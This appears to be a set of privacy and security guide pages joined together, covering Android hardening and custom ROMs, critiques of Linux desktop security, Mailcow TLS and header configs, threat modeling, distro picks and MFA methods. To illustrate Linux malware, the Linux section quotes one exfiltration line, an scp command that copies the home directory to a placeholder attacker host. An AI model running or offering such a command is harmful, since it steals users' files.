If you have an EOL device shipped with Android 10 or above (shipped beginning 2020), you may be better off sticking with the stock OS in the short term as opposed to running an insecure alternative operating system. This will allow you to receive some security fixes from Google, while not violating the Android security model and increasing your attack surface. You should still upgrade to a supported device as soon as possible.

Disable Advertising ID

All devices with Google Play Services installed automatically generate an advertising ID used for targeted advertising. Disable this feature to limit the data collected about you.

On Android distributions with Sandboxed Google Play, go to Settings → Apps → Sandboxed Google Play → Google Settings → Ads, and select Delete advertising ID.

On Android distributions with privileged Google Play Services (such as stock OSes), the setting may be in one of several locations:

• Settings → Google → Ads
• Settings → Privacy → Ads

You will be given the option to either delete your advertising ID or Opt out of interest-based ads — this varies between OEM distributions of Android. If presented with the option to delete the advertising ID, choosing that is preferred. If not, then make sure to opt out and reset your advertising ID.

Google Messages

Google is currently pushing for the adoption of RCS with end to end encryption to compete with iMessage. On certain Android devices, especially Google Pixels with stock OS, Google Messages is set as the default SMS app to provide this feature.

If you are on an OS with Play Services installed, I highly recommend that you use Google Messages as the SMS app to get opportunistic end to end encryption with your contacts. It works fairly well on GrapheneOS with Sandboxed Play Services, too.

You can disable telemetry in Google Messages by tapping the profile in the top right → Messages settings → Help Improve Messages and toggling it off. There are also some other configurations in Messages settings → RCS chats that you might want to go over, such as Show typing indicators or Send read receipts.

If you have trouble connecting to RCS, try disabling your VPN and the VPN killswitch first, then reconnect to RCS. Once you have connected to the server, you can re-enable your VPN and the killswitch, and it should work just fine across reboots. I am not sure what is causing this issue, but it might be related to this bug.

Google Fi

Google Fi provides opportunistic end‑to‑end encryption for phone calls between Fi users on Android and includes a VPN service. Fi also implements a unique privacy‑bolstering virtual carrier network (VCN) architecture on supported devices, but it is temporarily disabled.

This is not without its caveats:

• Google Fi requires Play Services and the Fi app to work properly. Without Play Services, all of the features mentioned above, along with visual voicemail, will not work. SMS messages will have random strings added at the end of each of them.
• The Google Fi app needs to be installed in the owner profile for SIM/eSIM activation.
• Google Fi Wi‑Fi calling does not work behind a VPN with the killswitch enabled in the owner profile.

If you live in the United States and use the stock operating system, I highly recommend using Google Fi as your carrier to take advantage of the end to end encrypted calls and Fi VPN. People using a Pixel 4 and above will benefit the most from the VCN as mentioned.

If you use GrapheneOS and do not mind installing Sandboxed Play Services, Fi is still a better option than other providers thanks to Google’s general good security practices and the fact that you can enroll in the Advanced Protection Program to have much better protection for your account. Some other providers do not even have multi-factor authentication support, and most will not let you enforce FIDO2 as the authentication method.

When you buy an Android phone, the device’s default operating system often comes with invasive integration with apps and services that are not part of the Android Open-Source Project. An example of such is Google Play Services, which has irrevocable privileges to access your files, contacts storage, call logs, SMS messages, location, camera, microphone, hardware identifiers, and so on. These apps and services increase the attack surface of your device and are the source of various privacy concerns with Android.

This problem could be solved by using a custom Android-based operating system that does not come with such invasive integration. Unfortunately, many custom Android-based operating systems often violate the Android security model by not supporting critical security features such as AVB, rollback protection, firmware updates, and so on. Some of them also ship userdebug builds which expose root over ADB and require more permissive SELinux policies to accommodate debugging features, resulting in a further increased attack surface and weakened security model.

When choosing a custom Android-based operating system, you should make sure that it upholds the Android security model. Ideally, the custom operating system should have substantial privacy and security improvements to justify adding yet another party to trust.

Baseline Security

Verified Boot

Verified Boot is an important part of the Android security model. It provides protection against evil maid attacks, malware persistence, and ensures security updates cannot be downgraded with rollback protection.

On Android, only your data (inside of the /data partition) is encrypted, and the operating system files are left unencrypted. Verified Boot ensures the integrity of the operating system files, thereby preventing an adversary with physical access from tampering or installing malware on the device. In the unlikely case that malware is able to exploit other parts of the system and gain higher privileged access, Verified Boot will prevent and revert changes to the system partition upon rebooting the device.

Unfortunately, OEMs are only obliged to support Verified Boot on their stock Android distribution. Only a few OEMs such as Google support custom AVB key enrollment on their devices. Additionally, some AOSP derivatives such as LineageOS or /e/ OS do not support Verified Boot even on hardware with Verified Boot support for third-party operating systems. In most cases, trading off verified boot for simply not having Play Services is not worth it.

Firmware Updates

Firmware updates are critical for maintaining security and without them your device cannot be secure. OEMs have support agreements with their partners to provide the closed-source components for a limited support period. These are detailed in the monthly Android Security Bulletins.

On a custom Android distribution, it is the responsibility of the operating system vendor to extract the firmware from the stock operating system, test it against their Android builds, then ship them to the user.

Unfortunately, many custom Android distributions, including extremely popular ones like LineageOS and /e/ OS do not ship firmware updates for most of their supported device. Instead, they expect the user to keep track of stock OS updates, extract and flash the firmware themselves. Beyond the lack of testing, this is extremely burdensome and not feasible for most end users and is yet another reason to not use these distributions.

Patch Levels

As the Android Security Bulletins is updated every month, Android-Based operating systems are expected to apply all security fixes before the next bulletin update comes out. Beside extracting the firmware, testing it and shipping it to the end user as described above, the AOSP based system also need to be updated.

This is a particularly challenging thing to do, especially around the time of a new major Android release since there are a lot of changes. Sometimes, newer firmware versions require newer major versions of AOSP, and if the developer takes too long to update their base operating system to the next major AOSP version, they cannot ship firmware updates either, leaving users vulnerable.

This has happened to CalyxOS during the Android 11 to Android 12 transition. It took them 4 months to update to Android 12; and during those 4 months, they could not ship any firmware updates at all, leaving the user vulnerable during that time period.

It would be much better if you just stick to the stock operating system (which got updated to Android 12 shortly after the AOSP 12 release) instead of using a custom operating system which could not keep up with updates as described.

Chromium Webview Updates

Android comes with a system webview, a component that many apps rely on to use as part of their activity layout. It effectively behaves like a minimal browser, opening random websites with arbitrary code the internet. Thus, it is very important that this component is consistently kept up to date.

Some Android-based operating systems, including ones like CalyxOS, often fall behind on security updates for this component. Particularly, this has gotten so bad that they actually fell behind for 3 months back in January 2022 and 2 months in June 2022. It is a good indication that these operating systems cannot keep up with security updates and should not be used.

User Builds

As mentioned above, userdebug builds expose root over ADB and require more permissive SELinux policies to accommodate debugging features. They violate the Android security model and are really only meant for developers to test out their android builds during development.

End users should be using the production user builds. Distributions which do not ship user builds like LineageOS or /e/ OS should be avoided, especially if your device has not reached end of life.

SELinux in Enforcing Mode

SELinux is a critical part of the Android security model, having the Linux kernel enforcing confinement for all processes, including system processes running as root.

In order for a system to be secure, it must have SELinux in Enforcing mode, accompanied by fine-grained SELinux policies.

Unfortunately, many custom Android-based operating system builds (especially unofficial LineageOS builds) disables SELinux or set it into Permissive mode. You can check whether SELinux is in enforcing mode or not by executing getenforce in the ADB shell (the expected output is Enforcing). You should avoid any Android-based operating system builds that do not have SELinux in enforcing mode at all cost.

Recommended Android-Based Operating Systems

Currently, I am only aware of two Android-based operating systems that should be used over the stock operating systems:

GrapheneOS

GrapheneOS is the only custom Android-based operating system you should buy a new phone for. It provides additional security hardening and privacy improvements over the stock operating system from Google. It has a hardened memory allocator, network and sensor permissions, and various other security feature. GrapheneOS also comes with full firmware updates and signed builds, so verified boot is fully supported. Here is a quick video demonstrating the network and sensors permissions:

For usability purposes, GrapheneOS supports Sandboxed Google Play, which runs Google Play Services fully sandboxed like any other regular app. This means you can take advantage of most Google Play Services, such as push notifications, while giving you full control over their permissions and access, and while containing them to a specific work profile or user profile of your choice. Most interestingly, the In-app Billing API, Google Play Games, Play Asset Delivery, FIDO2 all work exceptionally well. Most Advanced Protection Program features, except for Play Protect and restricted app installation, also work.

Because GrapheneOS does not grant any Google Apps and Services apart from the opt-in eSIM action app privileged access to the system, Play Protect cannot disable or uninstall known malicious applications when it detects them. As for restricted app installation, this feature is not that useful on stock operating system anyways, since it is bypassable with adb push.

Recently, GrapheneOS has also added the Storage Scopes feature, allowing you to force apps that request broad storage access permission to function with scoped storage. With this new feature, you no longer have to grant certain apps access to all of your media or files to use them anymore. You can watch a video of Storage Scope in action here:

Currently, Google Pixel phones are the only devices that meet GrapheneOS’s hardware security requirements.

DivestOS

DivestOS is a great aftermarket operating system for devices that have gone end-of-life or are near end-of-life. Note that this is a harm reduction project, ran by one developer on the best effort basis, and you should not buy a new device just to run DivestOS.

Being a soft-fork of LineageOS, DivestOS inherits many supported devices from LineageOS. It has signed builds, making it possible to have verified boot on some non-Pixel devices. Unlike its upstream, it does ship user builds.

It comes with substantial hardening over AOSP. DivestOS has automated kernel vulnerability (CVE) patching, fewer proprietary blobs, a custom hosts file, and various security features ported from GrapheneOS. A non-exhaustive list of this includes:

• A hardened webview. Mulch comes with some patches from GrapheneOS’s Vanadium browser and the Bromite project. It gets updated fairly quickly and does not fall behind nearly as much as Bromite did.
• Kernel patches from GrapheneOS and enables all available kernel security features via defconfig hardening. All kernels newer than version 3.4 include full page sanitization and all ~22 Clang-compiled kernels have -ftrivial-auto-var-init=zero enabled.
• GrapheneOS’s INTERNET and SENSORS permission toggle.
• Hardened memory allocator
• Secure Exec-Spawning
• Partial bionic hardening patchsets from GrapheneOS
• GrapheneOS’s per-network full MAC randomization option on version 17.1 and higher
• Automatic reboot/Wi-Fi/Bluetooth timeout options

With that being said, DivestOS is not without its faults. The developer does not have all of the devices he is building for, and for a lot of them he simply publishes the builds blind without actually testing them. Firmware update support varies across devices. DivestOS also takes a very long time to update to a new major Android, and actually took longer than CalyxOS did as mentioned above. It does not tend to fall behind on Chromium updates like CalyxOS, however.

Also, please note that I am only recommending DivestOS here, and not any of its related apps. For instance, I would not recommend using Mull, since it is just a Firefox Android fork with better defaults and still inherits many security deficiencies from its upstream, including the lack of support for site isolation and isolatedProcess.

There is already a very in-depth technical blog explaining the various security weaknesses of Linux by Madaidan, Whonix’s Security Researcher. This page will attempt to address some of the questions commonly raised in reaction to his blog post. You can find the original article here.

Why is Linux used on servers if it is so insecure?

On servers, while most of the problems referenced in the article still exist, they are somewhat less problematic.

On Desktop Linux, GUI applications run under your user, and thus have access to all of your files in /home. This is in contrast to how system daemons typically run on servers, where they have their own group and user. For example, NGINX will run under nginx:nginx on Red Hat distributions, or www-data:www-data on Debian based ones. Discretionary Access Control does help with filesystem access control for server processes, but is useless for desktop applications.

Another thing to keep in mind is that Mandatory Access Control is also somewhat effective on servers, as commonly run system daemons are confined. In contrast, on desktop, there is virtually no AppArmor profile to confine even regularly used apps like Chrome or Firefox, let alone less common ones. On SELinux systems, these apps run in the UNCONFINED SELinux domain.

Linux servers are lighter than Desktop Linux systems by orders of magnitude, without hundreds of packages and dozens of system daemons running like X11, audio servers, printing stack, and so on. Thus, the attack surface is much smaller.

Linux Hardening Myths

There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to shore up the inherent issues with Linux.

Lack of verified boot

Android, macOS, and ChromeOS have a clear distinction between the system and user installed applications. In oversimplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.

Meanwhile, on Linux, there is no clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely /usr/bin and /usr/local/bin). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of “the system”, as said “system” is not clearly defined in the first place.

Lack of application sandboxing

Operating systems like Android and ChromeOS have full system mandatory access control; that is, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.

Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.

On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don’t even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible.

This is reflected in the under utilization of the Portals API as an example. Portals is designed to be an API where apps have to prompt the user to access their files (through the File Manager) or their microphone and camera. Unfortunately, the vast majority of apps are not designed with this in mind, and expect direct access to the filesystem, pulseaudio socket or the entire /dev. As a result, Flatpak maintainers often opt to have extremely lax permissions to the point where they have to grant filesystem=home, filesystem=host, socket=pulseaudio or devices=all, otherwise apps will break and give users a bad experience.

To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.

The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.

But Linux is open source!

Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the FLOSS Security post by Rohan Kumar.

But there is less malware on Linux!

Security by irrelevance does not work. Just because there are fewer users of your favorite operating system does not make it any safer.

Ask yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?

Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing scp -r ~/ malware@xx.xx.xx.xx:/data. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.

Mailcow is a fairly popular self-hosted mail server. If you use it, there are a few ways you can improve its security by following these steps.

Postfix Configuration

Consider disabling weak ciphers and TLS versions below 1.2 in data/conf/postfix/extra.cf:

tls_high_cipherlist = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256
tls_preempt_cipherlist = yes

smtp_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_ciphers = high
smtp_tls_mandatory_ciphers = high

smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtpd_tls_ciphers = high
smtpd_tls_mandatory_ciphers = high

NGINX Configuration

These security configurations can be added/modified in data/conf/nginx/includes/site-defaults.conf.

SSL Ciphers

Consider only supporting strong ciphers:

ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;

And prioritize ChaCha ciphers:

ssl_conf_command Options PrioritizeChaCha;

HSTS

Consider adding includeSubDomains; and preload; to the HSTS configuration if all of your services are using HTTPS:

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";

X-XSS-Protection

We will setup Content Security, so this header is no longer needed. In fact, it may do more harm than good. Change the setting to 0:

add_header X-XSS-Protection "0";

Permission Policy

Mailcow does not need any special permissions to operate, except for USB which is needed to access your FIDO2 keys if you use them.

Add this header to deny other permissions:

add_header Permissions-Policy "accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), browsing-topics=(), camera=(), clipboard-read=(), display-capture=(), document-domain=(), encrypted-media=(), fullscreen=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), serial=(), usb=(), sync-xhr=(), xr-spatial-tracking=()";

Content Security Policy

Use the following as your Content Security Policy:

If you use Gravatar with SOGo

add_header Content-Security-Policy "default-src 'none'; connect-src 'self' https://api.github.com https://www.gravatar.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https://www.gravatar.com; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content; base-uri 'none'";

If you do not use Gravatar with SOGo

add_header Content-Security-Policy "default-src 'none'; connect-src 'self' https://api.github.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content; base-uri 'none'";

Cross-Origin Resource, Opener, and Embedder Policies

Mailcow does not use any cross site scripts, or documents. Thus, you should set CORP and COOP headers to their strictest configuration:

add_header Cross-Origin-Resource-Policy same-origin;
add_header Cross-Origin-Opener-Policy same-origin;

If you do not use Gravatar with SOGo, you can also set COEP to require-corp since image embedding will not be used either:

add_header Cross-Origin-Embedder-Policy require-corp;

GZIP Compression

Disable gzip compression to avoid the BREACH attack. Change gzip on; to gzip off;.

Defining a threat

To make a threat model, we must first define a threat. A common mistake made by people who are just getting into the privacy space is to define the threat as “big-tech companies.” There is a fundamental problem with this definition:

Why are we not trusting “big-tech companies,” but then shifting our trust to “small-tech companies”? What happens if those “small-tech companies” turn out to be malicious? What happens when our favorite “small-tech company” becomes successful and grows exponentially? The proper way to define the threat here is the “service provider,” not “big-tech.”

Generally, there are four primary threats a person would want to protect themselves from:

• A service provider spying their users
• Cross site/service tracking and data sharing, a.k.a. “mass surveillance”
• An app developer spying on users through their malicious software
• A hacker trying to get into users’ computers

A typical person would have several of these threats in their threat model. Some of these threats may weigh more than others. For example, a software developer would have a hacker stealing their source code, signing keys, and secrets as their primary threat, but beyond that they would also want privacy from the websites they visit and so on. Likewise, an average Joe may have their primary threat as mass surveillance and service providers, but beyond that they also need to have decent security to prevent a hacker from stealing their data.

For whistleblowers, the threat model is much more extreme. Beyond what is mentioned above, they also need anonymity. Beyond just hiding what they do, what data they have, not getting hacked by hackers or governments, they also have to hide who they are.

Privacy from service providers

In most setups, our “private” messages, emails, social interactions are typically stored on a server somewhere. The obvious problem with this is that the service provider (or a hacker who has compromised the server) can look into your “private” conversations whenever and however they want, without you ever knowing. This applies to many common services like SMS messaging, Telegram, Discord, and so on.

With end-to-end encryption, you can alleviate this issue by encrypting communications between you and your desired recipients before they are even sent to the server. The confidentiality of your messages is guaranteed, so long as the service provider does not have access to the private keys of either party.

In practice, the effectiveness of different end-to-end encryption implementations varies. Applications such as Signal run natively on your device, and every copy of the application is the same across different installations. If the service provider were to backdoor their application in an attempt to steal your private keys, that could later be detected using reverse engineering.

On the other hand, web-based end-to-end encryption implementations such as Proton Mail’s webmail or Bitwarden’s web vault rely on the server dynamically serving JavaScript code to the browser to handle cryptographic operations. A malicious server could target a specific user and send them malicious JavaScript code to steal their encryption key, and it would be extremely hard for the user to ever notice such a thing. Even if the user does notice the attempt to steal their key, it would be incredibly hard to prove that it is the provider trying to do so, because the server can choose to serve different web clients to different users.

Therefore, when relying on end-to-end encryption, you should choose to use native applications over web clients whenever possible.

Even with end-to-end encryption, service providers can still profile you based on metadata, which is typically not protected. While the service provider could not read your messages to see what you’re saying, they can still observe things like who you’re talking to, how often you message them, and what times you’re typically active. Protection of metadata is fairly uncommon, and you should pay close attention to the technical documentation of the software you are using to see if there is any metadata minimization or protection at all, if that is a concern for you.

Protection from cross site/service tracking

You can be tracked across websites and services using some form of identifiers. These are typically:

• Your IP address
• Browser cookies
• Your browser fingerprint
• Data you submit to websites
• Payment method correlation

Your goals should be to segregate your online identities from each other, to blend in with other people, and simply to avoid giving out identifying information to anyone as much as possible.

Instead of relying on privacy policies (which are promises that could be violated), try to obfuscate your information in such a way that it is very difficult for different providers to correlate data with each other and build a profile on you. This could come in the form of using encryption tools like Cryptomator prior to uploading your data to cloud services, using prepaid cards or cryptocurrency to protect your credit/debit card information, using a VPN to hide your IP address from websites and services on the internet, etc. A privacy policy should only be relied upon as a last resort, when you have exhausted all of your options for true privacy and need to put complete trust in your service provider.

Bear in mind that companies can hide their ownership or share your information with data brokers, even if they are not in the advertising business. Thus, it makes little sense to solely focus on the “ad-tech” industry as a threat in your threat model. Rather, it makes a lot more sense to protect yourself from service providers as a whole, and any kind of corporate surveillance threat that most people are concerned about will be thwarted along with the rest.

Limiting Public Information

The best way to ensure your data is private is to simply not put it out there in the first place. Deleting information you find about yourself online is one of the best first steps you can take to regain your privacy.

On sites where you do share information, checking the privacy settings of your account to limit how widely that data is spread is very important. For example, if your accounts have a “private mode,” enable it to make sure your account isn’t being indexed by search engines and can’t be viewed by people you don’t vet beforehand.

If you have already submitted your real information to a number of sites which shouldn’t have it, consider employing disinformation tactics such as submitting fictitious information related to the same online identity to make your real information indistinguishable from the false information.

Protection from malware and hackers

You need security to obtain any semblance of privacy: Using tools which appear private is futile if they could easily be exploited by attackers to release your data later.

When it comes to application security, we generally do not (and sometimes cannot) know if the software that we use is malicious, or might one day become malicious. Even with the most trustworthy developers, there is generally no guarantee that their software does not have a serious vulnerability that could later be exploited.

To minimize the potential damage that a malicious piece of software can do, you should employ security by compartmentalization. This could come in the form of using different computers for different jobs, using virtual machines to separate different groups of related applications, or using a secure operating system with a strong focus on application sandboxing and mandatory access control.

Mobile operating systems are generally safer than desktop operating systems when it comes to application sandboxing. Apps cannot obtain root access and only have access to system resources which you grant them.

Desktop operating systems generally lag behind on proper sandboxing. ChromeOS has similar sandboxing properties to Android, and macOS has full system permission control and opt-in (for developers) sandboxing for applications, however these operating systems do transmit identifying information to their respective OEMs. Linux tends to not submit information to system vendors, but it has poor protection against exploits and malicious apps. This can be mitigated somewhat with specialized distributions which make heavy use of virtual machines or containers, such as Qubes OS.

Web browsers, email clients, and office applications all typically run untrusted code sent to you from third-parties. Running multiple virtual machines to separate applications like these from your host system as well as each other is one technique you can use to avoid an exploit in these applications from compromising the rest of your system. Technologies like Qubes OS or Microsoft Defender Application Guard on Windows provide convenient methods to do this seamlessly, for example.

If you are concerned about physical attacks you should use an operating system with a secure verified boot implementation, such as Android, iOS, ChromeOS, or macOS. You should also make sure that your drive is encrypted, and that the operating system uses a TPM or Secure Enclave or Secure Element for rate limiting attempts to enter the encryption passphrase. You should avoid sharing your computer with people you don’t trust, because most desktop operating systems do not encrypt data separately per-user.

Bad Practices

As a beginner, you may often fall into some bad practices while making a threat model. These include:

• Solely focusing on advertising networks instead of service providers as a whole
• Heavy reliance on privacy policies
• Blindly shifting trust from one service provider to another
• Heavy reliance on badness enumeration for privacy instead of systematically solving the problem
• Blindly trusting open-source software

As discussed, focusing solely on advertising networks and relying solely on privacy policies does not make up a sensible threat model. When switching away from a service provider, try to determine what the root problem is and see if your new provider has any technical solution to the problem. For example, you may not like Google Drive as it means giving Google access to all of your data. The underlying problem here is the lack of end to end encryption, which you can solve by using an encryption tool like Cryptomator or by switching to a provider who provides it out of the box like Proton Drive. Blindly switching from Google Drive to a provider who does not provide end to end encryption like the Murena Cloud does not make sense.

You should also keep in mind that badness enumeration does not work, cannot work, has never worked, and will never work. While things like ad blockers and antiviruses may help block the low hanging fruits, they can never fully protect you from the threat. On the other hand, they often increase your attack surface and are not worth the security sacrifice. At best, they are merely convenience tools and should not be thought of as part of a defense strategy.

Another thing to keep in mind is that open-source software is not automatically private or secure. Malicious code can be sneaked into a package by the developer of a project, contributors, library developers or the person who compiles the code. Beyond that, sometimes, a piece of open-source software may have worse security properties than its proprietary counterpart. An example of this would be traditional Linux desktops lacking verified boot, system integrity protection, or a full system access control for apps when compared to macOS. When doing threat modeling, it is vital that you evaluate the privacy and security properties of each piece of software being used, rather than just blindly trusting it because it is open-source.

Release Cycle

You should choose a distribution which stays close to the stable upstream software releases, typically rolling release distributions. This is because frozen release cycle distributions often don’t update package versions and fall behind on security updates.

For frozen distributions, package maintainers are expected to backport patches to fix vulnerabilities (Debian is one such example) rather than bump the software to the “next version” released by the upstream developer. Some security fixes do not receive a CVE (particularly less popular software) at all and therefore do not make it into the distribution with this patching model. As a result minor security fixes are sometimes held back until the next major release.

In fact, in certain cases, there have been vulnerabilities introduced by Debian because of their patching process. Bug 1633467 and DSA-1571 are examples of this.

The practice of holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. Richard Brown has a presentation about this:

Even if you are worried about the stability of the system because of regularly updated packages (which you shouldn’t be), it makes more sense to use a system which you can safely update and rollback instead of an outdated distribution partially made up of unreliable backport packages without an easy rollback mechanism in case something goes wrong like Debian.

Arch-based Distributions

Arch Linux has very up-to-date packages with minimal downstream patching. That being said, Arch-based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result, you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.

For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for your system such as adopting a mandatory access control system, setting up kernel module blacklists, hardening boot parameters, manipulating sysctl parameters, and knowing what components you need such as Polkit.

If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Downstream distributions may come with bad practices like holding back packages (as is the case with Manjaro), blindly building packages from the AUR (as is the case with Garuda and its Chaotic-AUR repository), or just not setting up the basics such as mandatory access control or firewalls.

“Security-focused” Distributions

There is often some confusion about “security-focused” distributions and “pentesting” distributions. A quick search for “the most secure Linux distribution” will often give results like Kali Linux, Black Arch and Parrot OS. These distributions are offensive penetration testing distributions that bundle tools for testing other systems. They don’t include any “extra security” or defensive mitigations intended for regular use.

Linux-libre Kernel and “Libre” Distributions

Do not use the Linux-libre kernel, since it removes security mitigations and suppresses kernel warnings about vulnerable microcode for ideological reasons.

If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install, and update a proper kernel and missing firmware. For example, if you are looking to use GUIX, you should absolutely use something like the Nonguix repository and get all of the fixes as mentioned above.

Desktop Environments

Consider using GNOME as your desktop environment. It supports Wayland, a display protocol developed with security in mind, and implements permission control for privileged Wayland protocols like screencopy. There are other desktop environments and window managers with Wayland support, but we are not aware of any permission control implemented by them. One caveat with GNOME is that it is written in unsafe languages, but we think the trade off for permission control is well worth it.

Wayland’s predecessor, X11, does not support GUI isolation, allowing all windows to record screen, log and inject inputs in other windows, making any attempt at sandboxing futile. While there are options to run nested X11 sessions such as Xpra or Xephyr, they often come with negative performance consequences, are not convenient to set up, and are not preferable to Wayland. You should avoid desktop environments and window managers which only support X11.

Recommended Distributions

Here is a quick, non-authoritative list of distributions we recommend over others:

Fedora Workstation

Fedora Workstation is a great general-purpose Linux distribution, especially for those who are new to Linux. It is a semi-rolling release distribution. While some packages like GNOME are frozen until the next Fedora release, most packages (including the kernel) are updated frequently throughout the lifespan of the release. Each Fedora release is supported for one year, with a new version released every 6 months. The distribution takes an “upstream first” approach and ship packages with minimal downstream patching, and the patches are done in a sensible manner which does not unexpectedly break functionalities unlike Debian.

With that, Fedora generally adopts newer technologies before other distributions e.g., Wayland and PipeWire. These new technologies often come with improvements in security, privacy, and usability in general.

Fedora’s package manager, dnf, has a great rollback and undo feature that is generally missing from other package managers. You can read more about it on Red Hat’s documentation.

Fedora Atomic Desktops

Fedora Atomic Desktops are immutable variants of Fedora with a strong focus on container workflows. While they do not provide security benefits over Fedora, they have a much more reliable update mechanism. Unlike traditional Linux where packages are updated one by one, Atomic Desktops will download a whole new OS image first before rebooting to switch over to the new image. The system cannot fail in the middle of an update, and should something be wrong with the new image, it only takes one reboot to return the system to its previous state. Should you feel the dnf rollback mechanism isn’t enough, we recommend giving Fedora Atomic Desktops a try.

Adam Šamalík has a presentation with rpm-ostree in action:

One caveat with Fedora Atomic Desktops is that rpm-ostree currently has a hard dependency on grub and does not support Unified Kernel Images. The consequence of this is that unlike Fedora Workstation, it is not possible to set up a Fedora Atomic system with meaningful Secure Boot to resist physical tampering.

SecureBlue

SecureBlue provides hardened operating system images based on Fedora Atomic Desktops. While they do additional parties of trust (SecureBlue, GitHub infrastructure, BlueBuild, Negativo, etc), their images are substantially hardened and not easily replicated by hand. There are several very interesting packages maintained by SecureBlue as well:

• Trivalent, a hardened chromium desktop build with patches from GrapheneOS’s Vanadium.
• Hardened Malloc. SecureBlue packages GrapheneOS’s memory allocator and enables it system wide, including for Flatpak applications.

openSUSE Aeon

Fedora Atomic Desktop’s European counterpart. openSUSE Aeon is a rolling release, fast updating distributions with transactional updates using Btrfs and Snapper.

Aeon has a relatively small set of base packages (thus lowering the attack surface) and mounts the running BTRFS subvolume as read-only. Updates are applied package by package to a new BTRFS snapshot before the system is rebooted to the new subvolume. This allows the rollback process to be relatively easy just like on Fedora Atomic Desktops.

Whonix

Whonix is a distribution focused on anonymity based on Kicksecure. It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden. It is currently the best solution that I know of if your threat model requires anonymity.

Some of its features include Tor Stream Isolation, keystroke anonymization, boot clock randomization, encrypted swap, hardened boot parameters, and hardened kernel settings. One downside of Whonix is that it still inherits outdated packages with lots of downstream patching from Debian. It would be better if Whonix gets reimplemented on top of a more sensible base like SecureBlue, although no such system publicly exists yet.

Although Whonix is best used in conjunction with Qubes, Qubes-Whonix has various disadvantages when compared to other hypervisors.

Common protocols

Email and SMS MFA

Email and SMS MFA are examples of the weaker MFA protocols. Email MFA is not great as whoever controls your email account can typically both reset your password and receive your MFA verification. SMS, on the other hand, is problematic due to the lack of any kind of encryption, making it vulnerable to sniffing. Sim swap attacks, if carried out successfully, will allow an attacker to receive your one-time passcode while locking you out of your own account. In certain cases, websites or services may also allow the user to reset their account login by calling them using the phone number used for MFA, which could be faked with a spoofed CallerID.

Only use these protocols when it is the only option you have, and be very careful with SMS MFA as it could actually worsen your security.

Push Confirmations

Push confirmation MFA is typically a notification being sent to an app on your phone asking you to confirm new account logins. This method is a lot better than SMS or email, since an attacker typically wouldn’t be able to get these push notifications without having an already logged-in device.

Push confirmation in most cases relies on a third-party provider like Duo. This means that trust is placed in a server that neither you nor your service provider control. A malicious push confirmation server could compromise your MFA or profile you based on which website and account you use with the service.

